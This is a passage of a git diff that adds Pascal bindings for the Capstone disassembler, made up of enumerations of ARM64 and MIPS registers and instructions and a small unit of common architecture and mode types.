ARM64_REG_H25, + ARM64_REG_H26, + ARM64_REG_H27, + ARM64_REG_H28, + ARM64_REG_H29, + ARM64_REG_H30, + ARM64_REG_H31, + ARM64_REG_Q0, + ARM64_REG_Q1, + ARM64_REG_Q2, + ARM64_REG_Q3, + ARM64_REG_Q4, + ARM64_REG_Q5, + ARM64_REG_Q6, + ARM64_REG_Q7, + ARM64_REG_Q8, + ARM64_REG_Q9, + ARM64_REG_Q10, + ARM64_REG_Q11, + ARM64_REG_Q12, + ARM64_REG_Q13, + ARM64_REG_Q14, + ARM64_REG_Q15, + ARM64_REG_Q16, + ARM64_REG_Q17, + ARM64_REG_Q18, + ARM64_REG_Q19, + ARM64_REG_Q20, + ARM64_REG_Q21, + ARM64_REG_Q22, + ARM64_REG_Q23, + ARM64_REG_Q24, + ARM64_REG_Q25, + ARM64_REG_Q26, + ARM64_REG_Q27, + ARM64_REG_Q28, + ARM64_REG_Q29, + ARM64_REG_Q30, + ARM64_REG_Q31, + ARM64_REG_S0, + ARM64_REG_S1, + ARM64_REG_S2, + ARM64_REG_S3, + ARM64_REG_S4, + ARM64_REG_S5, + ARM64_REG_S6, + ARM64_REG_S7, + ARM64_REG_S8, + ARM64_REG_S9, + ARM64_REG_S10, + ARM64_REG_S11, + ARM64_REG_S12, + ARM64_REG_S13, + ARM64_REG_S14, + ARM64_REG_S15, + ARM64_REG_S16, + ARM64_REG_S17, + ARM64_REG_S18, + ARM64_REG_S19, + ARM64_REG_S20, + ARM64_REG_S21, + ARM64_REG_S22, + ARM64_REG_S23, + ARM64_REG_S24, + ARM64_REG_S25, + ARM64_REG_S26, + ARM64_REG_S27, + ARM64_REG_S28, + ARM64_REG_S29, + ARM64_REG_S30, + ARM64_REG_S31, + ARM64_REG_W0, + ARM64_REG_W1, + ARM64_REG_W2, + ARM64_REG_W3, + ARM64_REG_W4, + ARM64_REG_W5, + ARM64_REG_W6, + ARM64_REG_W7, + ARM64_REG_W8, + ARM64_REG_W9, + ARM64_REG_W10, + ARM64_REG_W11, + ARM64_REG_W12, + ARM64_REG_W13, + ARM64_REG_W14, + ARM64_REG_W15, + ARM64_REG_W16, + ARM64_REG_W17, + ARM64_REG_W18, + ARM64_REG_W19, + ARM64_REG_W20, + ARM64_REG_W21, + ARM64_REG_W22, + ARM64_REG_W23, + ARM64_REG_W24, + ARM64_REG_W25, + ARM64_REG_W26, + ARM64_REG_W27, + ARM64_REG_W28, + ARM64_REG_W29, + ARM64_REG_W30, + ARM64_REG_X0, + ARM64_REG_X1, + ARM64_REG_X2, + ARM64_REG_X3, + ARM64_REG_X4, + ARM64_REG_X5, + ARM64_REG_X6, + ARM64_REG_X7, + ARM64_REG_X8, + ARM64_REG_X9, + ARM64_REG_X10, + ARM64_REG_X11, + ARM64_REG_X12, + ARM64_REG_X13, + ARM64_REG_X14, + ARM64_REG_X15, + ARM64_REG_X16, + ARM64_REG_X17, + ARM64_REG_X18, + ARM64_REG_X19, + ARM64_REG_X20, + ARM64_REG_X21, + ARM64_REG_X22, + ARM64_REG_X23, + ARM64_REG_X24, + ARM64_REG_X25, + ARM64_REG_X26, + ARM64_REG_X27, + ARM64_REG_X28, + + ARM64_REG_V0, + ARM64_REG_V1, + ARM64_REG_V2, + ARM64_REG_V3, + ARM64_REG_V4, + ARM64_REG_V5, + ARM64_REG_V6, + ARM64_REG_V7, + ARM64_REG_V8, + ARM64_REG_V9, + ARM64_REG_V10, + ARM64_REG_V11, + ARM64_REG_V12, + ARM64_REG_V13, + ARM64_REG_V14, + ARM64_REG_V15, + ARM64_REG_V16, + ARM64_REG_V17, + ARM64_REG_V18, + ARM64_REG_V19, + ARM64_REG_V20, + ARM64_REG_V21, + ARM64_REG_V22, + ARM64_REG_V23, + ARM64_REG_V24, + ARM64_REG_V25, + ARM64_REG_V26, + ARM64_REG_V27, + ARM64_REG_V28, + ARM64_REG_V29, + ARM64_REG_V30, + ARM64_REG_V31, + + ARM64_REG_ENDING, // <-- mark the end of the list of registers + + //> alias registers + + ARM64_REG_IP1 = ARM64_REG_X16, + ARM64_REG_IP0 = ARM64_REG_X17, + ARM64_REG_FP = ARM64_REG_X29, + ARM64_REG_LR = ARM64_REG_X30 + ); + + //> ARM64 instruction + arm64_insn = ( + ARM64_INS_INVALID = 0, + + ARM64_INS_ABS, + ARM64_INS_ADC, + ARM64_INS_ADDHN, + ARM64_INS_ADDHN2, + ARM64_INS_ADDP, + ARM64_INS_ADD, + ARM64_INS_ADDV, + ARM64_INS_ADR, + ARM64_INS_ADRP, + ARM64_INS_AESD, + ARM64_INS_AESE, + ARM64_INS_AESIMC, + ARM64_INS_AESMC, + ARM64_INS_AND, + ARM64_INS_ASR, + ARM64_INS_B, + ARM64_INS_BFM, + ARM64_INS_BIC, + ARM64_INS_BIF, + ARM64_INS_BIT, + ARM64_INS_BL, + ARM64_INS_BLR, + ARM64_INS_BR, + ARM64_INS_BRK, + ARM64_INS_BSL, + ARM64_INS_CBNZ, + ARM64_INS_CBZ, + ARM64_INS_CCMN, + ARM64_INS_CCMP, + ARM64_INS_CLREX, + ARM64_INS_CLS, + ARM64_INS_CLZ, + ARM64_INS_CMEQ, + ARM64_INS_CMGE, + ARM64_INS_CMGT, + ARM64_INS_CMHI, + ARM64_INS_CMHS, + ARM64_INS_CMLE, + ARM64_INS_CMLT, + ARM64_INS_CMTST, + ARM64_INS_CNT, + ARM64_INS_MOV, + ARM64_INS_CRC32B, + ARM64_INS_CRC32CB, + ARM64_INS_CRC32CH, + ARM64_INS_CRC32CW, + ARM64_INS_CRC32CX, + ARM64_INS_CRC32H, + ARM64_INS_CRC32W, + ARM64_INS_CRC32X, + ARM64_INS_CSEL, + ARM64_INS_CSINC, + ARM64_INS_CSINV, + ARM64_INS_CSNEG, + ARM64_INS_DCPS1, + ARM64_INS_DCPS2, + ARM64_INS_DCPS3, + ARM64_INS_DMB, + ARM64_INS_DRPS, + ARM64_INS_DSB, + ARM64_INS_DUP, + ARM64_INS_EON, + ARM64_INS_EOR, + ARM64_INS_ERET, + ARM64_INS_EXTR, + ARM64_INS_EXT, + ARM64_INS_FABD, + ARM64_INS_FABS, + ARM64_INS_FACGE, + ARM64_INS_FACGT, + ARM64_INS_FADD, + ARM64_INS_FADDP, + ARM64_INS_FCCMP, + ARM64_INS_FCCMPE, + ARM64_INS_FCMEQ, + ARM64_INS_FCMGE, + ARM64_INS_FCMGT, + ARM64_INS_FCMLE, + ARM64_INS_FCMLT, + ARM64_INS_FCMP, + ARM64_INS_FCMPE, + ARM64_INS_FCSEL, + ARM64_INS_FCVTAS, + ARM64_INS_FCVTAU, + ARM64_INS_FCVT, + ARM64_INS_FCVTL, + ARM64_INS_FCVTL2, + ARM64_INS_FCVTMS, + ARM64_INS_FCVTMU, + ARM64_INS_FCVTNS, + ARM64_INS_FCVTNU, + ARM64_INS_FCVTN, + ARM64_INS_FCVTN2, + ARM64_INS_FCVTPS, + ARM64_INS_FCVTPU, + ARM64_INS_FCVTXN, + ARM64_INS_FCVTXN2, + ARM64_INS_FCVTZS, + ARM64_INS_FCVTZU, + ARM64_INS_FDIV, + ARM64_INS_FMADD, + ARM64_INS_FMAX, + ARM64_INS_FMAXNM, + ARM64_INS_FMAXNMP, + ARM64_INS_FMAXNMV, + ARM64_INS_FMAXP, + ARM64_INS_FMAXV, + ARM64_INS_FMIN, + ARM64_INS_FMINNM, + ARM64_INS_FMINNMP, + ARM64_INS_FMINNMV, + ARM64_INS_FMINP, + ARM64_INS_FMINV, + ARM64_INS_FMLA, + ARM64_INS_FMLS, + ARM64_INS_FMOV, + ARM64_INS_FMSUB, + ARM64_INS_FMUL, + ARM64_INS_FMULX, + ARM64_INS_FNEG, + ARM64_INS_FNMADD, + ARM64_INS_FNMSUB, + ARM64_INS_FNMUL, + ARM64_INS_FRECPE, + ARM64_INS_FRECPS, + ARM64_INS_FRECPX, + ARM64_INS_FRINTA, + ARM64_INS_FRINTI, + ARM64_INS_FRINTM, + ARM64_INS_FRINTN, + ARM64_INS_FRINTP, + ARM64_INS_FRINTX, + ARM64_INS_FRINTZ, + ARM64_INS_FRSQRTE, + ARM64_INS_FRSQRTS, + ARM64_INS_FSQRT, + ARM64_INS_FSUB, + ARM64_INS_HINT, + ARM64_INS_HLT, + ARM64_INS_HVC, + ARM64_INS_INS, + + ARM64_INS_ISB, + ARM64_INS_LD1, + ARM64_INS_LD1R, + ARM64_INS_LD2R, + ARM64_INS_LD2, + ARM64_INS_LD3R, + ARM64_INS_LD3, + ARM64_INS_LD4, + ARM64_INS_LD4R, + + ARM64_INS_LDARB, + ARM64_INS_LDARH, + ARM64_INS_LDAR, + ARM64_INS_LDAXP, + ARM64_INS_LDAXRB, + ARM64_INS_LDAXRH, + ARM64_INS_LDAXR, + ARM64_INS_LDNP, + ARM64_INS_LDP, + ARM64_INS_LDPSW, + ARM64_INS_LDRB, + ARM64_INS_LDR, + ARM64_INS_LDRH, + ARM64_INS_LDRSB, + ARM64_INS_LDRSH, + ARM64_INS_LDRSW, + ARM64_INS_LDTRB, + ARM64_INS_LDTRH, + ARM64_INS_LDTRSB, + + ARM64_INS_LDTRSH, + ARM64_INS_LDTRSW, + ARM64_INS_LDTR, + ARM64_INS_LDURB, + ARM64_INS_LDUR, + ARM64_INS_LDURH, + ARM64_INS_LDURSB, + ARM64_INS_LDURSH, + ARM64_INS_LDURSW, + ARM64_INS_LDXP, + ARM64_INS_LDXRB, + ARM64_INS_LDXRH, + ARM64_INS_LDXR, + ARM64_INS_LSL, + ARM64_INS_LSR, + ARM64_INS_MADD, + ARM64_INS_MLA, + ARM64_INS_MLS, + ARM64_INS_MOVI, + ARM64_INS_MOVK, + ARM64_INS_MOVN, + ARM64_INS_MOVZ, + ARM64_INS_MRS, + ARM64_INS_MSR, + ARM64_INS_MSUB, + ARM64_INS_MUL, + ARM64_INS_MVNI, + ARM64_INS_NEG, + ARM64_INS_NOT, + ARM64_INS_ORN, + ARM64_INS_ORR, + ARM64_INS_PMULL2, + ARM64_INS_PMULL, + ARM64_INS_PMUL, + ARM64_INS_PRFM, + ARM64_INS_PRFUM, + ARM64_INS_RADDHN, + ARM64_INS_RADDHN2, + ARM64_INS_RBIT, + ARM64_INS_RET, + ARM64_INS_REV16, + ARM64_INS_REV32, + ARM64_INS_REV64, + ARM64_INS_REV, + ARM64_INS_ROR, + ARM64_INS_RSHRN2, + ARM64_INS_RSHRN, + ARM64_INS_RSUBHN, + ARM64_INS_RSUBHN2, + ARM64_INS_SABAL2, + ARM64_INS_SABAL, + + ARM64_INS_SABA, + ARM64_INS_SABDL2, + ARM64_INS_SABDL, + ARM64_INS_SABD, + ARM64_INS_SADALP, + ARM64_INS_SADDLP, + ARM64_INS_SADDLV, + ARM64_INS_SADDL2, + ARM64_INS_SADDL, + ARM64_INS_SADDW2, + ARM64_INS_SADDW, + ARM64_INS_SBC, + ARM64_INS_SBFM, + ARM64_INS_SCVTF, + ARM64_INS_SDIV, + ARM64_INS_SHA1C, + ARM64_INS_SHA1H, + ARM64_INS_SHA1M, + ARM64_INS_SHA1P, + ARM64_INS_SHA1SU0, + ARM64_INS_SHA1SU1, + ARM64_INS_SHA256H2, + ARM64_INS_SHA256H, + ARM64_INS_SHA256SU0, + ARM64_INS_SHA256SU1, + ARM64_INS_SHADD, + ARM64_INS_SHLL2, + ARM64_INS_SHLL, + ARM64_INS_SHL, + ARM64_INS_SHRN2, + ARM64_INS_SHRN, + ARM64_INS_SHSUB, + ARM64_INS_SLI, + ARM64_INS_SMADDL, + ARM64_INS_SMAXP, + ARM64_INS_SMAXV, + ARM64_INS_SMAX, + ARM64_INS_SMC, + ARM64_INS_SMINP, + ARM64_INS_SMINV, + ARM64_INS_SMIN, + ARM64_INS_SMLAL2, + ARM64_INS_SMLAL, + ARM64_INS_SMLSL2, + ARM64_INS_SMLSL, + ARM64_INS_SMOV, + ARM64_INS_SMSUBL, + ARM64_INS_SMULH, + ARM64_INS_SMULL2, + ARM64_INS_SMULL, + ARM64_INS_SQABS, + ARM64_INS_SQADD, + ARM64_INS_SQDMLAL, + ARM64_INS_SQDMLAL2, + ARM64_INS_SQDMLSL, + ARM64_INS_SQDMLSL2, + ARM64_INS_SQDMULH, + ARM64_INS_SQDMULL, + ARM64_INS_SQDMULL2, + ARM64_INS_SQNEG, + ARM64_INS_SQRDMULH, + ARM64_INS_SQRSHL, + ARM64_INS_SQRSHRN, + ARM64_INS_SQRSHRN2, + ARM64_INS_SQRSHRUN, + ARM64_INS_SQRSHRUN2, + ARM64_INS_SQSHLU, + ARM64_INS_SQSHL, + ARM64_INS_SQSHRN, + ARM64_INS_SQSHRN2, + ARM64_INS_SQSHRUN, + ARM64_INS_SQSHRUN2, + ARM64_INS_SQSUB, + ARM64_INS_SQXTN2, + ARM64_INS_SQXTN, + ARM64_INS_SQXTUN2, + ARM64_INS_SQXTUN, + ARM64_INS_SRHADD, + ARM64_INS_SRI, + ARM64_INS_SRSHL, + ARM64_INS_SRSHR, + ARM64_INS_SRSRA, + ARM64_INS_SSHLL2, + ARM64_INS_SSHLL, + ARM64_INS_SSHL, + ARM64_INS_SSHR, + ARM64_INS_SSRA, + ARM64_INS_SSUBL2, + ARM64_INS_SSUBL, + ARM64_INS_SSUBW2, + ARM64_INS_SSUBW, + ARM64_INS_ST1, + ARM64_INS_ST2, + ARM64_INS_ST3, + ARM64_INS_ST4, + ARM64_INS_STLRB, + ARM64_INS_STLRH, + ARM64_INS_STLR, + ARM64_INS_STLXP, + ARM64_INS_STLXRB, + ARM64_INS_STLXRH, + ARM64_INS_STLXR, + ARM64_INS_STNP, + ARM64_INS_STP, + ARM64_INS_STRB, + ARM64_INS_STR, + ARM64_INS_STRH, + ARM64_INS_STTRB, + ARM64_INS_STTRH, + ARM64_INS_STTR, + ARM64_INS_STURB, + ARM64_INS_STUR, + ARM64_INS_STURH, + ARM64_INS_STXP, + ARM64_INS_STXRB, + ARM64_INS_STXRH, + ARM64_INS_STXR, + ARM64_INS_SUBHN, + ARM64_INS_SUBHN2, + ARM64_INS_SUB, + ARM64_INS_SUQADD, + ARM64_INS_SVC, + ARM64_INS_SYSL, + ARM64_INS_SYS, + ARM64_INS_TBL, + ARM64_INS_TBNZ, + ARM64_INS_TBX, + ARM64_INS_TBZ, + ARM64_INS_TRN1, + ARM64_INS_TRN2, + ARM64_INS_UABAL2, + ARM64_INS_UABAL, + ARM64_INS_UABA, + ARM64_INS_UABDL2, + ARM64_INS_UABDL, + ARM64_INS_UABD, + ARM64_INS_UADALP, + ARM64_INS_UADDLP, + ARM64_INS_UADDLV, + ARM64_INS_UADDL2, + ARM64_INS_UADDL, + ARM64_INS_UADDW2, + ARM64_INS_UADDW, + ARM64_INS_UBFM, + ARM64_INS_UCVTF, + ARM64_INS_UDIV, + ARM64_INS_UHADD, + ARM64_INS_UHSUB, + ARM64_INS_UMADDL, + ARM64_INS_UMAXP, + ARM64_INS_UMAXV, + ARM64_INS_UMAX, + ARM64_INS_UMINP, + ARM64_INS_UMINV, + ARM64_INS_UMIN, + ARM64_INS_UMLAL2, + ARM64_INS_UMLAL, + ARM64_INS_UMLSL2, + ARM64_INS_UMLSL, + ARM64_INS_UMOV, + ARM64_INS_UMSUBL, + ARM64_INS_UMULH, + ARM64_INS_UMULL2, + ARM64_INS_UMULL, + ARM64_INS_UQADD, + ARM64_INS_UQRSHL, + ARM64_INS_UQRSHRN, + ARM64_INS_UQRSHRN2, + ARM64_INS_UQSHL, + ARM64_INS_UQSHRN, + ARM64_INS_UQSHRN2, + ARM64_INS_UQSUB, + ARM64_INS_UQXTN2, + ARM64_INS_UQXTN, + ARM64_INS_URECPE, + ARM64_INS_URHADD, + ARM64_INS_URSHL, + ARM64_INS_URSHR, + ARM64_INS_URSQRTE, + ARM64_INS_URSRA, + ARM64_INS_USHLL2, + ARM64_INS_USHLL, + ARM64_INS_USHL, + ARM64_INS_USHR, + ARM64_INS_USQADD, + ARM64_INS_USRA, + ARM64_INS_USUBL2, + ARM64_INS_USUBL, + ARM64_INS_USUBW2, + ARM64_INS_USUBW, + ARM64_INS_UZP1, + ARM64_INS_UZP2, + ARM64_INS_XTN2, + ARM64_INS_XTN, + ARM64_INS_ZIP1, + ARM64_INS_ZIP2, + + // alias insn + ARM64_INS_MNEG, + ARM64_INS_UMNEGL, + ARM64_INS_SMNEGL, + ARM64_INS_NOP, + ARM64_INS_YIELD, + ARM64_INS_WFE, + ARM64_INS_WFI, + ARM64_INS_SEV, + ARM64_INS_SEVL, + ARM64_INS_NGC, + ARM64_INS_SBFIZ, + ARM64_INS_UBFIZ, + ARM64_INS_SBFX, + ARM64_INS_UBFX, + ARM64_INS_BFI, + ARM64_INS_BFXIL, + ARM64_INS_CMN, + ARM64_INS_MVN, + ARM64_INS_TST, + ARM64_INS_CSET, + ARM64_INS_CINC, + ARM64_INS_CSETM, + ARM64_INS_CINV, + ARM64_INS_CNEG, + ARM64_INS_SXTB, + ARM64_INS_SXTH, + ARM64_INS_SXTW, + ARM64_INS_CMP, + ARM64_INS_UXTB, + ARM64_INS_UXTH, + ARM64_INS_UXTW, + ARM64_INS_IC, + ARM64_INS_DC, + ARM64_INS_AT, + ARM64_INS_TLBI, + + ARM64_INS_ENDING // <-- mark the end of the list of insn + ); + + //> Group of ARM64 instructions + arm64_insn_group = ( + ARM64_GRP_INVALID = 0, // = CS_GRP_INVALID + + //> Generic groups + // all jump instructions (conditional+direct+indirect jumps) + ARM64_GRP_JUMP, // = CS_GRP_JUMP + + //> Architecture-specific groups + ARM64_GRP_CRYPTO = 128, + ARM64_GRP_FPARMV8, + ARM64_GRP_NEON, + ARM64_GRP_CRC, + + ARM64_GRP_ENDING // <-- mark the end of the list of groups + ); + +implementation + +end. diff --git a/Core/Capstone/CapstoneCmn.pas b/Core/Capstone/CapstoneCmn.pas new file mode 100755 index 0000000..d007e8a --- /dev/null +++ b/Core/Capstone/CapstoneCmn.pas @@ -0,0 +1,37 @@ +unit CapstoneCmn; +{$SMARTLINK ON} +interface + +type + TCsArch = ( + csaARM, + csaARM64, + csaMIPS, + csaX86, + csaPPC, + csaSPARC, + csaSysZ, + csaXCore, + csaUnknown + ); + + TCsMode = set of ( + csmLittleEndian, + csmARM, + csm16, + csm32, + csm64, + csmThumb, + csmMClass, + csmV8, + csmMicro, + csmMips3, + csmMips3R6, + csmMipsGP64, + csmV9, + csmBigEndian + ); + +implementation + +end. diff --git a/Core/Capstone/CapstoneMips.pas b/Core/Capstone/CapstoneMips.pas new file mode 100755 index 0000000..c3fed75 --- /dev/null +++ b/Core/Capstone/CapstoneMips.pas @@ -0,0 +1,890 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit CapstoneMips; +{ + mips.h +} + +interface + +type + //> Operand type for instruction's operands + mips_op_type = ( + MIPS_OP_INVALID = 0, // = CS_OP_INVALID (Uninitialized). + MIPS_OP_REG, // = CS_OP_REG (Register operand). + MIPS_OP_IMM, // = CS_OP_IMM (Immediate operand). + MIPS_OP_MEM_ // = CS_OP_MEM (Memory operand). + ); + + // Instruction's operand referring to memory + // This is associated with MIPS_OP_MEM operand type above + mips_op_mem = record + base: Cardinal; + disp: Int64; + end; + + // Instruction operand + cs_mips_op = record + _type: mips_op_type; + case Integer of + 0: (reg: Cardinal); + 1: (imm: Int64); + 2: (mem: mips_op_mem); + end; + + cs_mips = record + op_count: Byte; + operands: array[0..7] of cs_mips_op; + end; + + //> MIPS registers + mips_reg = ( + MIPS_REG_INVALID = 0, + //> General purpose registers + MIPS_REG_0, + MIPS_REG_1, + MIPS_REG_2, + MIPS_REG_3, + MIPS_REG_4, + MIPS_REG_5, + MIPS_REG_6, + MIPS_REG_7, + MIPS_REG_8, + MIPS_REG_9, + MIPS_REG_10, + MIPS_REG_11, + MIPS_REG_12, + MIPS_REG_13, + MIPS_REG_14, + MIPS_REG_15, + MIPS_REG_16, + MIPS_REG_17, + MIPS_REG_18, + MIPS_REG_19, + MIPS_REG_20, + MIPS_REG_21, + MIPS_REG_22, + MIPS_REG_23, + MIPS_REG_24, + MIPS_REG_25, + MIPS_REG_26, + MIPS_REG_27, + MIPS_REG_28, + MIPS_REG_29, + MIPS_REG_30, + MIPS_REG_31, + + //> DSP registers + MIPS_REG_DSPCCOND, + MIPS_REG_DSPCARRY, + MIPS_REG_DSPEFI, + MIPS_REG_DSPOUTFLAG, + MIPS_REG_DSPOUTFLAG16_19, + MIPS_REG_DSPOUTFLAG20, + MIPS_REG_DSPOUTFLAG21, + MIPS_REG_DSPOUTFLAG22, + MIPS_REG_DSPOUTFLAG23, + MIPS_REG_DSPPOS, + MIPS_REG_DSPSCOUNT, + + //> ACC registers + MIPS_REG_AC0, + MIPS_REG_AC1, + MIPS_REG_AC2, + MIPS_REG_AC3, + + //> COP registers + MIPS_REG_CC0, + MIPS_REG_CC1, + MIPS_REG_CC2, + MIPS_REG_CC3, + MIPS_REG_CC4, + MIPS_REG_CC5, + MIPS_REG_CC6, + MIPS_REG_CC7, + + //> FPU registers + MIPS_REG_F0, + MIPS_REG_F1, + MIPS_REG_F2, + MIPS_REG_F3, + MIPS_REG_F4, + MIPS_REG_F5, + MIPS_REG_F6, + MIPS_REG_F7, + MIPS_REG_F8, + MIPS_REG_F9, + MIPS_REG_F10, + MIPS_REG_F11, + MIPS_REG_F12, + MIPS_REG_F13, + MIPS_REG_F14, + MIPS_REG_F15, + MIPS_REG_F16, + MIPS_REG_F17, + MIPS_REG_F18, + MIPS_REG_F19, + MIPS_REG_F20, + MIPS_REG_F21, + MIPS_REG_F22, + MIPS_REG_F23, + MIPS_REG_F24, + MIPS_REG_F25, + MIPS_REG_F26, + MIPS_REG_F27, + MIPS_REG_F28, + MIPS_REG_F29, + MIPS_REG_F30, + MIPS_REG_F31, + + MIPS_REG_FCC0, + MIPS_REG_FCC1, + MIPS_REG_FCC2, + MIPS_REG_FCC3, + MIPS_REG_FCC4, + MIPS_REG_FCC5, + MIPS_REG_FCC6, + MIPS_REG_FCC7, + + //> AFPR128 + MIPS_REG_W0, + MIPS_REG_W1, + MIPS_REG_W2, + MIPS_REG_W3, + MIPS_REG_W4, + MIPS_REG_W5, + MIPS_REG_W6, + MIPS_REG_W7, + MIPS_REG_W8, + MIPS_REG_W9, + MIPS_REG_W10, + MIPS_REG_W11, + MIPS_REG_W12, + MIPS_REG_W13, + MIPS_REG_W14, + MIPS_REG_W15, + MIPS_REG_W16, + MIPS_REG_W17, + MIPS_REG_W18, + MIPS_REG_W19, + MIPS_REG_W20, + MIPS_REG_W21, + MIPS_REG_W22, + MIPS_REG_W23, + MIPS_REG_W24, + MIPS_REG_W25, + MIPS_REG_W26, + MIPS_REG_W27, + MIPS_REG_W28, + MIPS_REG_W29, + MIPS_REG_W30, + MIPS_REG_W31, + + MIPS_REG_HI, + MIPS_REG_LO, + + MIPS_REG_P0, + MIPS_REG_P1, + MIPS_REG_P2, + + MIPS_REG_MPL0, + MIPS_REG_MPL1, + MIPS_REG_MPL2, + + MIPS_REG_ENDING, // <-- mark the end of the list or registers + + // alias registers + MIPS_REG_ZERO = MIPS_REG_0, + MIPS_REG_AT = MIPS_REG_1, + MIPS_REG_V0 = MIPS_REG_2, + MIPS_REG_V1 = MIPS_REG_3, + MIPS_REG_A0 = MIPS_REG_4, + MIPS_REG_A1 = MIPS_REG_5, + MIPS_REG_A2 = MIPS_REG_6, + MIPS_REG_A3 = MIPS_REG_7, + MIPS_REG_T0 = MIPS_REG_8, + MIPS_REG_T1 = MIPS_REG_9, + MIPS_REG_T2 = MIPS_REG_10, + MIPS_REG_T3 = MIPS_REG_11, + MIPS_REG_T4 = MIPS_REG_12, + MIPS_REG_T5 = MIPS_REG_13, + MIPS_REG_T6 = MIPS_REG_14, + MIPS_REG_T7 = MIPS_REG_15, + MIPS_REG_S0 = MIPS_REG_16, + MIPS_REG_S1 = MIPS_REG_17, + MIPS_REG_S2 = MIPS_REG_18, + MIPS_REG_S3 = MIPS_REG_19, + MIPS_REG_S4 = MIPS_REG_20, + MIPS_REG_S5 = MIPS_REG_21, + MIPS_REG_S6 = MIPS_REG_22, + MIPS_REG_S7 = MIPS_REG_23, + MIPS_REG_T8 = MIPS_REG_24, + MIPS_REG_T9 = MIPS_REG_25, + MIPS_REG_K0 = MIPS_REG_26, + MIPS_REG_K1 = MIPS_REG_27, + MIPS_REG_GP = MIPS_REG_28, + MIPS_REG_SP = MIPS_REG_29, + MIPS_REG_FP = MIPS_REG_30, MIPS_REG_S8 = MIPS_REG_30, + MIPS_REG_RA = MIPS_REG_31, + + MIPS_REG_HI0 = MIPS_REG_AC0, + MIPS_REG_HI1 = MIPS_REG_AC1, + MIPS_REG_HI2 = MIPS_REG_AC2, + MIPS_REG_HI3 = MIPS_REG_AC3, + + MIPS_REG_LO0 = MIPS_REG_HI0, + MIPS_REG_LO1 = MIPS_REG_HI1, + MIPS_REG_LO2 = MIPS_REG_HI2, + MIPS_REG_LO3 = MIPS_REG_HI3 + ); + + //> MIPS instruction + mips_insn = ( + MIPS_INS_INVALID = 0, + + MIPS_INS_ABSQ_S, + MIPS_INS_ADD, + MIPS_INS_ADDIUPC, + MIPS_INS_ADDQH, + MIPS_INS_ADDQH_R, + MIPS_INS_ADDQ, + MIPS_INS_ADDQ_S, + MIPS_INS_ADDSC, + MIPS_INS_ADDS_A, + MIPS_INS_ADDS_S, + MIPS_INS_ADDS_U, + MIPS_INS_ADDUH, + MIPS_INS_ADDUH_R, + MIPS_INS_ADDU, + MIPS_INS_ADDU_S, + MIPS_INS_ADDVI, + MIPS_INS_ADDV, + MIPS_INS_ADDWC, + MIPS_INS_ADD_A, + MIPS_INS_ADDI, + MIPS_INS_ADDIU, + MIPS_INS_ALIGN, + MIPS_INS_ALUIPC, + MIPS_INS_AND, + MIPS_INS_ANDI, + MIPS_INS_APPEND, + MIPS_INS_ASUB_S, + MIPS_INS_ASUB_U, + MIPS_INS_AUI, + MIPS_INS_AUIPC, + MIPS_INS_AVER_S, + MIPS_INS_AVER_U, + MIPS_INS_AVE_S, + MIPS_INS_AVE_U, + MIPS_INS_BADDU, + MIPS_INS_BAL, + MIPS_INS_BALC, + MIPS_INS_BALIGN, + MIPS_INS_BC, + MIPS_INS_BC0F, + MIPS_INS_BC0FL, + MIPS_INS_BC0T, + MIPS_INS_BC0TL, + MIPS_INS_BC1EQZ, + MIPS_INS_BC1F, + MIPS_INS_BC1FL, + MIPS_INS_BC1NEZ, + MIPS_INS_BC1T, + MIPS_INS_BC1TL, + MIPS_INS_BC2EQZ, + MIPS_INS_BC2F, + MIPS_INS_BC2FL, + MIPS_INS_BC2NEZ, + MIPS_INS_BC2T, + MIPS_INS_BC2TL, + MIPS_INS_BC3F, + MIPS_INS_BC3FL, + MIPS_INS_BC3T, + MIPS_INS_BC3TL, + MIPS_INS_BCLRI, + MIPS_INS_BCLR, + MIPS_INS_BEQ, + MIPS_INS_BEQC, + MIPS_INS_BEQL, + MIPS_INS_BEQZALC, + MIPS_INS_BEQZC, + MIPS_INS_BGEC, + MIPS_INS_BGEUC, + MIPS_INS_BGEZ, + MIPS_INS_BGEZAL, + MIPS_INS_BGEZALC, + MIPS_INS_BGEZALL, + MIPS_INS_BGEZALS, + MIPS_INS_BGEZC, + MIPS_INS_BGEZL, + MIPS_INS_BGTZ, + MIPS_INS_BGTZALC, + MIPS_INS_BGTZC, + MIPS_INS_BGTZL, + MIPS_INS_BINSLI, + MIPS_INS_BINSL, + MIPS_INS_BINSRI, + MIPS_INS_BINSR, + MIPS_INS_BITREV, + MIPS_INS_BITSWAP, + MIPS_INS_BLEZ, + MIPS_INS_BLEZALC, + MIPS_INS_BLEZC, + MIPS_INS_BLEZL, + MIPS_INS_BLTC, + MIPS_INS_BLTUC, + MIPS_INS_BLTZ, + MIPS_INS_BLTZAL, + MIPS_INS_BLTZALC, + MIPS_INS_BLTZALL, + MIPS_INS_BLTZALS, + MIPS_INS_BLTZC, + MIPS_INS_BLTZL, + MIPS_INS_BMNZI, + MIPS_INS_BMNZ, + MIPS_INS_BMZI, + MIPS_INS_BMZ, + MIPS_INS_BNE, + MIPS_INS_BNEC, + MIPS_INS_BNEGI, + MIPS_INS_BNEG, + MIPS_INS_BNEL, + MIPS_INS_BNEZALC, + MIPS_INS_BNEZC, + MIPS_INS_BNVC, + MIPS_INS_BNZ, + MIPS_INS_BOVC, + MIPS_INS_BPOSGE32, + MIPS_INS_BREAK, + MIPS_INS_BSELI, + MIPS_INS_BSEL, + MIPS_INS_BSETI, + MIPS_INS_BSET, + MIPS_INS_BZ, + MIPS_INS_BEQZ, + MIPS_INS_B, + MIPS_INS_BNEZ, + MIPS_INS_BTEQZ, + MIPS_INS_BTNEZ, + MIPS_INS_CACHE, + MIPS_INS_CEIL, + MIPS_INS_CEQI, + MIPS_INS_CEQ, + MIPS_INS_CFC1, + MIPS_INS_CFCMSA, + MIPS_INS_CINS, + MIPS_INS_CINS32, + MIPS_INS_CLASS, + MIPS_INS_CLEI_S, + MIPS_INS_CLEI_U, + MIPS_INS_CLE_S, + MIPS_INS_CLE_U, + MIPS_INS_CLO, + MIPS_INS_CLTI_S, + MIPS_INS_CLTI_U, + MIPS_INS_CLT_S, + MIPS_INS_CLT_U, + MIPS_INS_CLZ, + MIPS_INS_CMPGDU, + MIPS_INS_CMPGU, + MIPS_INS_CMPU, + MIPS_INS_CMP, + MIPS_INS_COPY_S, + MIPS_INS_COPY_U, + MIPS_INS_CTC1, + MIPS_INS_CTCMSA, + MIPS_INS_CVT, + MIPS_INS_C, + MIPS_INS_CMPI, + MIPS_INS_DADD, + MIPS_INS_DADDI, + MIPS_INS_DADDIU, + 